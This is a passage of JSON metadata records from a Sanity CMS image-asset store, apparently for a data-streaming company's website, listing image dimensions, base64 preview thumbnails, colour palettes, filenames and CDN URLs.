HdVhNxzlf2BLKxKa4A/SW1G5KyrboNmfocwPVNYvcvuW0lkhvfXjyv+qF2AZo/wtjXdD493SuAbK+oqyzqmsC0p7QeU8/r0K7MoI7a/Q3vwpM/SAuga1M6O2ZzSWgTIvXwf2ZUj3cEvrXtG6xosMsHau0Jsp6uKcv6gJRKf9KHb7AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#606160","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6e162b","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f2eae4","foreground":"#000","population":5.89,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#f2eae4","foreground":"#000","population":5.89,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9b469","foreground":"#000","population":2.44,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a8b478","foreground":"#000","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d7395f","foreground":"#fff","population":0.76,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image8.png","path":"images/sczeoy4w/production/4f1ae7364734614bba747ae65cf7ce349a441389-1999x1143.png","sha1hash":"4f1ae7364734614bba747ae65cf7ce349a441389","size":318095,"uploadId":"31MrRO6WzLUiC8jgBt1olDYfeS75L9Y6","url":"https://cdn.sanity.io/images/sczeoy4w/production/4f1ae7364734614bba747ae65cf7ce349a441389-1999x1143.png"} {"_createdAt":"2023-09-27T13:58:37Z","_id":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_rev":"OlHhyDbudqKag6cjy8Lgre","_type":"sanity.imageAsset","_updatedAt":"2023-09-27T13:58:37Z","assetId":"4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D03I.TolfQolfQ4TavfQavfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.5486725663716814,"height":565,"width":1440},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAIABQDASIAAhEBAxEB/8QAFQABAQAAAAAAAAAAAAAAAAAAAAf/xAAWEAEBAQAAAAAAAAAAAAAAAAAAAhT/xAAWAQEBAQAAAAAAAAAAAAAAAAAABQb/xAAZEQABBQAAAAAAAAAAAAAAAAAAAQISE1H/2gAMAwEAAhEDEQA/AIfhkwyDcVMwnyUYZAKmYJKf/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#172481","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141f6e","foreground":"#fff","population":13.25,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#242c94","foreground":"#fff","population":29.56,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1d247b","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#949ae5","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#1d247b","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#242c94","foreground":"#fff","population":29.56,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"bg-gradient-brand-blue.svg","path":"images/sczeoy4w/production/4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565.svg","sha1hash":"4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64","size":411,"uploadId":"QMXOgWayE54sYRfB2IYt1PLDOmK1wKOC","url":"https://cdn.sanity.io/images/sczeoy4w/production/4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565.svg"} {"_createdAt":"2024-01-02T13:27:25Z","_id":"image-4f60cb2c9d735dee58b2f1a46ad4dae8063850a3-6116x1690-png","_rev":"7oPGYyiRG7hm5kP9i1JbT2","_type":"sanity.imageAsset","_updatedAt":"2024-01-02T13:27:25Z","assetId":"4f60cb2c9d735dee58b2f1a46ad4dae8063850a3","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.6189349112426035,"height":1690,"width":6116},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAxElEQVQYlT2Ky06EQBRE+f9Pc+HexJ2agNAD3ff96GYCTqzU4uRUTeedcfeCMSLiOI5t2x6lAEBEvD7jyj/33qc/1fvoL+gRwSINsAEwS2ae53n79MjI4ZFmaiqTu5uFXE1RQyIAEFV1Z1FmcffIZJZ9Px4HADuQIjShNqmKqLE6iTfAdV3neW6A5kHMtTYiNvfWYF6W37U01Lq3x88XlXWKiMjM7BmparXWUgoSRaa7q+q1927miIhEZl6X5fv9bfv8eALZbCGB9snEegAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#423a37","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#883210","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#423a37","foreground":"#fff","population":0.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a7bcd4","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d48c8d","foreground":"#000","population":0.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#647f90","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d66858","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"overall-diagram.png","path":"images/sczeoy4w/production/4f60cb2c9d735dee58b2f1a46ad4dae8063850a3-6116x1690.png","sha1hash":"4f60cb2c9d735dee58b2f1a46ad4dae8063850a3","size":258653,"uploadId":"aFOyqiFHe8PFcRVhF5wSwKnUpxXrRWnL","url":"https://cdn.sanity.io/images/sczeoy4w/production/4f60cb2c9d735dee58b2f1a46ad4dae8063850a3-6116x1690.png"} {"_createdAt":"2023-10-19T13:05:29Z","_id":"image-4f637d801a8b4f80367a27f9b951813f7e054c93-3600x1582-png","_rev":"97ScSe1K9UIWVy4zLd9vUh","_type":"sanity.imageAsset","_updatedAt":"2023-10-19T13:05:29Z","assetId":"4f637d801a8b4f80367a27f9b951813f7e054c93","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M03l5Ot7IU%MRjofxuayj[M{00WBRjofj[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.275600505689001,"height":1582,"width":3600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAC4jAAAuIwF4pT92AAABYklEQVQokVXSy6tPcRQF8N+v5DURCV1T61MeIY8BA++BkQEXVzHwKKQkFyklEddb3tzLgBRjA48/xP+jrf2r69Q5+3v2OnvttfdZAwySDDAH+/EaRzC/sWHj87AH57CmsFm1g1GsxyKs7Y+v4DOOYgzrsSvJuiTLkmzrZnUtx1bs6PeFRVqEE0nu4QN+Jfmd5DyO4RE+YgrjOJHkOg7gJF5gJslNbE8yt6R+x1tMJplO8jNJEb3Bs1b9sldR+WncxXuUkKtJZjqOFeEf3MDGJGeTfE3yDl9wAZua9FtP8WlWPNxj30/yBKtr5B/d/SIe41Wfa5ynuJTkeSuuolIzVdPgTpLLPfZtbCnC43jYu6rCieqEQ01Y+Qc4jSqqhuNJzvS5yIr4YO2xCBcn2YB9LX9pW2gJNmNv4/WHb+FaklVJVlQuye62Ublg5T//tIdGfvvPV30Pu+gUdmLBLLywEc/wL20gi7k0zW+YAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c2c2c","foreground":"#fff","population":2.99,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2c2c2c","foreground":"#fff","population":2.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"dojo-logo.png","path":"images/sczeoy4w/production/4f637d801a8b4f80367a27f9b951813f7e054c93-3600x1582.png","sha1hash":"4f637d801a8b4f80367a27f9b951813f7e054c93","size":102456,"uploadId":"HgYo08BmLVKwdoccsbxqjg2qxjf1VHWv","url":"https://cdn.sanity.io/images/sczeoy4w/production/4f637d801a8b4f80367a27f9b951813f7e054c93-3600x1582.png"} {"_createdAt":"2022-11-09T11:35:06Z","_id":"image-4fa2b718701c6b5a93ba5c4010c5a3d4f72ff878-2020x1118-png","_rev":"yEepckykK41PbFrRNTPBe2","_type":"sanity.imageAsset","_updatedAt":"2022-11-09T11:58:03Z","altText":null,"assetId":"4fa2b718701c6b5a93ba5c4010c5a3d4f72ff878","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8067978533094813,"height":1118,"width":2020},"exif":{"PixelXDimension":2020,"PixelYDimension":1118,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAABUElEQVQokW2T6Y7DIAyE8/7P2eNHtsemBd/Mym5StasgfXECZDBmmMwMEYExxgdAxAAzY1ke+F2WYlkWEFHNz7bNV1X03mtsyoeIwExh7vAIeIzCzKFmha24ewnGGIWHo1PH7X4vptY7OjWQNLAQWA1iXvAa1WMl3199r34veM0wmVpvIG4QJagRxBhqUogJSBOtnz4RS6wEc1fb9qfWXoLugghFOL9xZ5glUuO7hJXQ1qbn87kKKsZwjJzwQUTWTYv4R/WHfx1oZchM75X+kwfAIsiFH4/HF8+WpdI6nMoxBbOQorJjnU1woBNhnmecTqfieDxWnOefGtsEK8PeqXy0J1aCI/0ouF6vOJ/PJXY4HCpeLhcQy7dg+jAFy1s7uAdEDWmvNPY9/Xa7VcxypUdTcDP6lKtnHZK8GUQf5DczekJUN2HzW+6sLsVaw03wD+5CXcVKJuUEAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444846","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#575a29","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e3e2af","foreground":"#000","population":0.47,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcdc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e3e2af","foreground":"#000","population":0.47,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#828382","foreground":"#fff","population":0.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c4c888","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"business-8-kafka-bytes-in.png","path":"images/sczeoy4w/production/4fa2b718701c6b5a93ba5c4010c5a3d4f72ff878-2020x1118.png","sha1hash":"4fa2b718701c6b5a93ba5c4010c5a3d4f72ff878","size":201647,"title":null,"uploadId":"KFqp3IbgEhUaAGTzgZjMZKSs5ex4HznQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/4fa2b718701c6b5a93ba5c4010c5a3d4f72ff878-2020x1118.png"} {"_createdAt":"2022-12-09T16:04:36Z","_id":"image-4fdcc28754cbd3606551fcd793ed3fd840e3f5f8-690x413-jpg","_rev":"Bp455s9rtQ49wRO6vajYlL","_type":"sanity.imageAsset","_updatedAt":"2022-12-09T16:04:36Z","assetId":"4fdcc28754cbd3606551fcd793ed3fd840e3f5f8","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6707021791767553,"height":413,"width":690},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAMABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAUECP/EACEQAAEEAQMFAAAAAAAAAAAAAAEAAgMEEhMxYREiQlFx/8QAFQEBAQAAAAAAAAAAAAAAAAAAAAH/xAAUEQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwDqG+XiucHhns8cKdQlzsDQfI0A9wl8viq2ImTRFsg6hYqdVmrk4ucW7ZHZEUUREV//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a5046","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b6942","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b4c2bd","foreground":"#000","population":0.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4c2bd","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4f4e4","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#748c7c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#33cb7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"compliance-badge-iso-27018-2019.jpg","path":"images/sczeoy4w/production/4fdcc28754cbd3606551fcd793ed3fd840e3f5f8-690x413.jpg","sha1hash":"4fdcc28754cbd3606551fcd793ed3fd840e3f5f8","size":9359,"uploadId":"aQrnZE8FXvHRTnPI4Gl6AhqnHw9Ps0Er","url":"https://cdn.sanity.io/images/sczeoy4w/production/4fdcc28754cbd3606551fcd793ed3fd840e3f5f8-690x413.jpg"} {"_createdAt":"2023-01-31T15:16:17Z","_id":"image-5019176519ee55f868f4f2b4f906d2fb82b1f3cb-1200x630-jpg","_rev":"iop8tFFqgfe67JrEam45WB","_type":"sanity.imageAsset","_updatedAt":"2023-01-31T15:16:17Z","assetId":"5019176519ee55f868f4f2b4f906d2fb82b1f3cb","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MLM*5P%h-p4T_N0Kt7ozNGxu?vMdM{.8Md","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAcEBQb/xAAkEAACAQMEAAcAAAAAAAAAAAABAgMABAUGESFBBxITIjFRcf/EABYBAQEBAAAAAAAAAAAAAAAAAAIBBP/EABgRAAMBAQAAAAAAAAAAAAAAAAABEQIh/9oADAMBAAIRAxEAPwBuy2F607sl15UJ4H1Sv8Zszn8NmsVaYqe5USRbvJGCFB37p3RxILlyF5/alPbwzAerFG/XuUGtGdx0MV6UWl7e5l09j5LxzLcNCpdz2dvmitNEAkYVAFUcADqijWRw/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#30364a","foreground":"#fff","population":0.86,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131d64","foreground":"#fff","population":0.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ccd3e1","foreground":"#000","population":11.98,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccd3e1","foreground":"#000","population":11.98,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cdaf97","foreground":"#000","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#63679c","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec542a","foreground":"#fff","population":1.3,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"research-2023-state-of-data-management-meta-preview.jpg","path":"images/sczeoy4w/production/5019176519ee55f868f4f2b4f906d2fb82b1f3cb-1200x630.jpg","sha1hash":"5019176519ee55f868f4f2b4f906d2fb82b1f3cb","size":69616,"uploadId":"4q6Q09uKp4RXrbQ9ro6D9JAgwooDBODm","url":"https://cdn.sanity.io/images/sczeoy4w/production/5019176519ee55f868f4f2b4f906d2fb82b1f3cb-1200x630.jpg"} {"_createdAt":"2022-06-14T14:41:14Z","_id":"image-503c767d363d6f927004e4eae5afddafcbd7d414-1575x1200-jpg","_rev":"oamrAPLmQLQjd9jh7YpzYE","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:14Z","assetId":"503c767d363d6f927004e4eae5afddafcbd7d414","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"V]LqX=ocx]t7RP~qjZt8t7WBozWXaejZbHfgWVRjWBoM","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3125,"height":1200,"width":1575},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAPABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAgFBgf/xAAhEAACAQQCAwEBAAAAAAAAAAABAgMABAYRBTESEyFBYf/EABYBAQEBAAAAAAAAAAAAAAAAAAMAAv/EAB0RAAIBBAMAAAAAAAAAAAAAAAECAAQREiEiMWH/2gAMAwEAAhEDEQA/AGCy7mo4ODMtpdKrP0yHba/gqtYJk7o93FfXUksSDyDS9isVnyJ4onaZ3IQfB3UNY5p6nZEaQM3ZP2iV2bljqbBXA37jYvz0WwVliAI2NtRSxHI7uU+XsJ/KKjVKNYwbez//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#566631","foreground":"#fff","population":1.43,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#44642c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#92826b","foreground":"#fff","population":6.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccada6","foreground":"#000","population":4.63,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e5edf6","foreground":"#000","population":6.3,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#92826b","foreground":"#fff","population":6.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#78b14d","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Sergey_Nuyanzin.jpeg","path":"images/sczeoy4w/production/503c767d363d6f927004e4eae5afddafcbd7d414-1575x1200.jpg","sha1hash":"503c767d363d6f927004e4eae5afddafcbd7d414","size":124040,"uploadId":"h92jJ5CcCOXbjVG69AE6Ta36bLuLvjSE","url":"https://cdn.sanity.io/images/sczeoy4w/production/503c767d363d6f927004e4eae5afddafcbd7d414-1575x1200.jpg"} {"_createdAt":"2023-09-27T13:45:50Z","_id":"image-50a28ae0e84f9a1fccac2cd055cfe75cd97da151-1296x1118-png","_rev":"kaQ4ZWos4gq6sBfd80Gf19","_type":"sanity.imageAsset","_updatedAt":"2023-09-27T13:45:50Z","assetId":"50a28ae0e84f9a1fccac2cd055cfe75cd97da151","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eBQcxUoftR%M-;?aRiRjayay%LofWAWBRkW=Riofofj].AofRiofoc","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1592128801431127,"height":1118,"width":1296},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAIAAABSJhvpAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC2klEQVQ4jU2TiY6jOBRF8/+/1Z3K2qktSREwZrEBb8/GNpCwJDVDelQa6cg6ftL1pudF7e+VbBKiUMbjTGSFFvpq/L1ufniYmdmNfzy5G3+37fdCuzEl6vMrPYd5iAuUsoI7sKPxk6p7ZXrjJu1GoTuhr/rp0txUPRj/WIAdgoiut58BIqUwOGMoYVy1ytxSqlKqoO4FdAEiF0TnJaCLM06Z1W5aaDdEcfHncEzzStVtTjiKKRNOqAYnRZJVUF+58qdzfP5CApxQPsYFKbWZw34qWZ1iUhAmZS0YiFIoaQGcKIVkUusGwLOCs4IDOA1ecKOgrf19vjOtaoQIijJKhRIOlANoABojjZHmr4PyWnlQT9edtoNpHgvtJsr8JRYB4ijVOLM4syn1Je8AOtDXSlwp6560CXFxWudlK/RgnjvfS9Ej0gTYnSJz+GTrA3k9sThvpB6EGbPqFqbNJXFhat/PfPNKv5ApZa/dM8zUmLMe0y7K3DmCt1N1CkVeNNKM0kyE3TBpUObj3F+wPl5EnHumhjls/J1DX/CO8payhjJPKluyWqoW7Aj1KFTLRFPJG4OBqb5SNw6Dqqe/x54os1HCo4SjlEcJwxlnFcwPY0ewo9at1i3UI9jpB+3mzluAHXEOH+f87Zi+n7JjkJ+CPAwpTgTODc5NkklCgTKflz4lllRNKTqmbnOTSDNcYrk94JdNuNyErx/J4R0v18FyFfxeh79egl+rr/Uuev1I92/JchPuX5PPcxFhkLqfwyiF/Vuy3oe/V8FmH+0OaLUNdwe03oXLdbDZh6td+LK9bP/8V1lto/OFc+gXYKeCt3EGIRanS3UO2SUWIRZJDiiRUSJSqlEqj0EZII4zFUT8GFQJqaUZF8Y/wE7SDNIMQvdC97M8p9L00vSqHip5TakllWfqylRXipap+YctbPtt2++6mcf/81Opm4fQfV5awhyHTporUw1T3b/hfwAu8Z2U2xgCbQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c343c","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141474","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f6be90","foreground":"#000","population":0.9,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a1a7ce","foreground":"#000","population":0.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6be90","foreground":"#000","population":0.9,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676ca8","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d69c63","foreground":"#000","population":0.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-tiered-storage-vertical.png","path":"images/sczeoy4w/production/50a28ae0e84f9a1fccac2cd055cfe75cd97da151-1296x1118.png","sha1hash":"50a28ae0e84f9a1fccac2cd055cfe75cd97da151","size":22043,"uploadId":"Rr1aOr29rZuqhnolnZ3DOK6KGbs6bbNc","url":"https://cdn.sanity.io/images/sczeoy4w/production/50a28ae0e84f9a1fccac2cd055cfe75cd97da151-1296x1118.png"} {"_createdAt":"2022-09-02T15:56:28Z","_id":"image-50c862c309479b5713da7aea5819d35054b89c4f-1200x630-jpg","_rev":"EU2LgqOF5HzqTxO9PWW19U","_type":"sanity.imageAsset","_updatedAt":"2022-09-02T15:56:28Z","assetId":"50c862c309479b5713da7aea5819d35054b89c4f","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MJQ0Bj*0%iJCvys;O@ZztRo#?wD%I9%Mo#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAYCBQj/xAAhEAACAgICAQUAAAAAAAAAAAABAgMEABESIWEFExQWQf/EABQBAQAAAAAAAAAAAAAAAAAAAAL/xAAcEQACAgMBAQAAAAAAAAAAAAABAgARBCHB0TH/2gAMAwEAAhEDEQA/ANBy0n5tILk6jfLiD0MXPtb+9ZgeFjxOlYDeNEaj5L7335yFWlWhkZooUVj+6wuHLrR1u+RAqFN/ZU+jV5pqZkS5OVdyRzHeGMQAA0AAPGGFMZFUDp9jbIcm+Dyf/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242f3d","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#645c14","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7830d","foreground":"#000","population":6.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4bcc7","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2d046","foreground":"#000","population":0.07,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c8c94","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7830d","foreground":"#000","population":6.55,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Partners_meta_preview.jpeg","path":"images/sczeoy4w/production/50c862c309479b5713da7aea5819d35054b89c4f-1200x630.jpg","sha1hash":"50c862c309479b5713da7aea5819d35054b89c4f","size":162509,"uploadId":"LPKTjKxWUmoAtZv5KsZeP7AQpgRy001K","url":"https://cdn.sanity.io/images/sczeoy4w/production/50c862c309479b5713da7aea5819d35054b89c4f-1200x630.jpg"} {"_createdAt":"2024-03-22T15:38:40Z","_id":"image-50c8a7475cc0e3ac749daf7876338576c9bbac1a-2153x837-svg","_rev":"FsdEUX6qPquRWP6V14u53E","_type":"sanity.imageAsset","_updatedAt":"2024-03-22T15:38:40Z","assetId":"50c8a7475cc0e3ac749daf7876338576c9bbac1a","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DfDbT~nn^-Iot8,,SOw@E+Na","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.5722819593787336,"height":837,"width":2153},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAACFklEQVQokWOwNGthZdTZzfy5RkrxbzVn9b8K5un/yxkc/pUxMP8rZWD4X8aAAf51KjH871SEYiWp/52KHf87FK79b5dby6CsP9nPymOl94yWZVF32oOmfamWnPuvnMH1XzkD2/8SBob/5VgMnO3C8HOOP8PPuf4Mf2Z7SPya7d38c7bP2V+zveYwKOlPWeMSuHZXc8+Vg6um7958piUt/0c5l/L/Sgbm/9nYDXy5ZRLDtfXLGG5vW8HweMts0etrF1RdWjH/0OXF0ycyuNo2bUlMWX22e/qDF5PnvdnXP+Gm567qAjaG0P